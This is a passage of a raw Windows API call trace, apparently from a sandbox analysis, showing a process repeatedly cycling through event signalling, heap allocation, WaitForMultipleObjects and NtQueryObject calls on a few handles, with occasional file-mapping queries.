[0149.070] SetEvent (hEvent=0xec) returned 1 [0149.071] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.071] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.071] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.071] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.071] ResetEvent (hEvent=0xe8) returned 1 [0149.071] SetEvent (hEvent=0xec) returned 1 [0149.071] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.071] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.071] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.071] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.071] ResetEvent (hEvent=0xe8) returned 1 [0149.071] SetEvent (hEvent=0xec) returned 1 [0149.072] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.072] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.072] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.072] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.072] ResetEvent (hEvent=0xe8) returned 1 [0149.072] SetEvent (hEvent=0xec) returned 1 [0149.072] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.072] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.072] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.073] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.073] ResetEvent (hEvent=0xe8) returned 1 [0149.073] SetEvent (hEvent=0xec) returned 1 [0149.073] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.073] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.073] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.073] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.073] ResetEvent (hEvent=0xe8) returned 1 [0149.073] SetEvent (hEvent=0xec) returned 1 [0149.074] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.074] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.074] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.074] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.074] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.074] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.074] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.074] ResetEvent (hEvent=0xe8) returned 1 [0149.074] SetEvent (hEvent=0xec) returned 1 [0149.074] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.074] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.074] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.074] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.074] ResetEvent (hEvent=0xe8) returned 1 [0149.074] SetEvent (hEvent=0xec) returned 1 [0149.075] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.075] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.075] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.075] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.075] ResetEvent (hEvent=0xe8) returned 1 [0149.075] SetEvent (hEvent=0xec) returned 1 [0149.075] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.075] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.075] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.075] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.075] ResetEvent (hEvent=0xe8) returned 1 [0149.076] SetEvent (hEvent=0xec) returned 1 [0149.076] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.076] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.076] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.076] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.076] ResetEvent (hEvent=0xe8) returned 1 [0149.076] SetEvent (hEvent=0xec) returned 1 [0149.077] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.077] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.077] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.077] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.077] ResetEvent (hEvent=0xe8) returned 1 [0149.077] SetEvent (hEvent=0xec) returned 1 [0149.077] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.077] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.077] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.077] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.077] ResetEvent (hEvent=0xe8) returned 1 [0149.077] SetEvent (hEvent=0xec) returned 1 [0149.078] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.078] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.078] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.078] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.078] ResetEvent (hEvent=0xe8) returned 1 [0149.078] SetEvent (hEvent=0xec) returned 1 [0149.078] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.078] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.078] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.078] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.078] ResetEvent (hEvent=0xe8) returned 1 [0149.078] SetEvent (hEvent=0xec) returned 1 [0149.079] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.079] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.079] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.079] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.079] ResetEvent (hEvent=0xe8) returned 1 [0149.079] SetEvent (hEvent=0xec) returned 1 [0149.079] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.079] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.079] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.079] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.079] ResetEvent (hEvent=0xe8) returned 1 [0149.079] SetEvent (hEvent=0xec) returned 1 [0149.079] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.079] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.079] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.079] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.079] ResetEvent (hEvent=0xe8) returned 1 [0149.079] SetEvent (hEvent=0xec) returned 1 [0149.079] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.079] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.080] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.080] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.080] ResetEvent (hEvent=0xe8) returned 1 [0149.080] SetEvent (hEvent=0xec) returned 1 [0149.080] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.080] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.080] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.080] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.080] ResetEvent (hEvent=0xe8) returned 1 [0149.080] SetEvent (hEvent=0xec) returned 1 [0149.080] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.080] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.080] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.080] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.080] ResetEvent (hEvent=0xe8) returned 1 [0149.080] SetEvent (hEvent=0xec) returned 1 [0149.080] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.080] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.080] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.080] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.080] ResetEvent (hEvent=0xe8) returned 1 [0149.081] SetEvent (hEvent=0xec) returned 1 [0149.081] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.081] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.081] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.081] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.081] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.081] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.081] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.081] ResetEvent (hEvent=0xe8) returned 1 [0149.081] SetEvent (hEvent=0xec) returned 1 [0149.081] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.081] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.081] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.081] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.081] ResetEvent (hEvent=0xe8) returned 1 [0149.081] SetEvent (hEvent=0xec) returned 1 [0149.081] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.082] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.082] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.082] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.082] ResetEvent (hEvent=0xe8) returned 1 [0149.082] SetEvent (hEvent=0xec) returned 1 [0149.082] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.082] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.082] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.082] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.082] ResetEvent (hEvent=0xe8) returned 1 [0149.082] SetEvent (hEvent=0xec) returned 1 [0149.082] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.082] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.082] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.082] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.082] ResetEvent (hEvent=0xe8) returned 1 [0149.082] SetEvent (hEvent=0xec) returned 1 [0149.082] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.082] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.082] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.083] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.083] ResetEvent (hEvent=0xe8) returned 1 [0149.083] SetEvent (hEvent=0xec) returned 1 [0149.083] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.083] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.083] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.083] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.083] ResetEvent (hEvent=0xe8) returned 1 [0149.083] SetEvent (hEvent=0xec) returned 1 [0149.083] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.083] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.083] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.083] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.083] ResetEvent (hEvent=0xe8) returned 1 [0149.083] SetEvent (hEvent=0xec) returned 1 [0149.083] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.083] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.083] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.083] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.083] ResetEvent (hEvent=0xe8) returned 1 [0149.084] SetEvent (hEvent=0xec) returned 1 [0149.084] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.084] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.084] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.084] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.084] ResetEvent (hEvent=0xe8) returned 1 [0149.084] SetEvent (hEvent=0xec) returned 1 [0149.084] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.084] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.084] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.084] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.084] ResetEvent (hEvent=0xe8) returned 1 [0149.084] SetEvent (hEvent=0xec) returned 1 [0149.085] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.085] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.085] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.085] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.085] ResetEvent (hEvent=0xe8) returned 1 [0149.085] SetEvent (hEvent=0xec) returned 1 [0149.085] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.085] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.085] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.085] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.085] ResetEvent (hEvent=0xe8) returned 1 [0149.085] SetEvent (hEvent=0xec) returned 1 [0149.085] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.085] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.085] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.085] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.085] ResetEvent (hEvent=0xe8) returned 1 [0149.085] SetEvent (hEvent=0xec) returned 1 [0149.086] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.086] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.086] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.086] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.086] ResetEvent (hEvent=0xe8) returned 1 [0149.086] SetEvent (hEvent=0xec) returned 1 [0149.086] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.086] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.086] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.086] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.086] ResetEvent (hEvent=0xe8) returned 1 [0149.086] SetEvent (hEvent=0xec) returned 1 [0149.086] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.086] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.086] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.086] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.086] ResetEvent (hEvent=0xe8) returned 1 [0149.086] SetEvent (hEvent=0xec) returned 1 [0149.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.087] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.087] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.087] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.087] ResetEvent (hEvent=0xe8) returned 1 [0149.087] SetEvent (hEvent=0xec) returned 1 [0149.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.087] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.087] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.087] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, 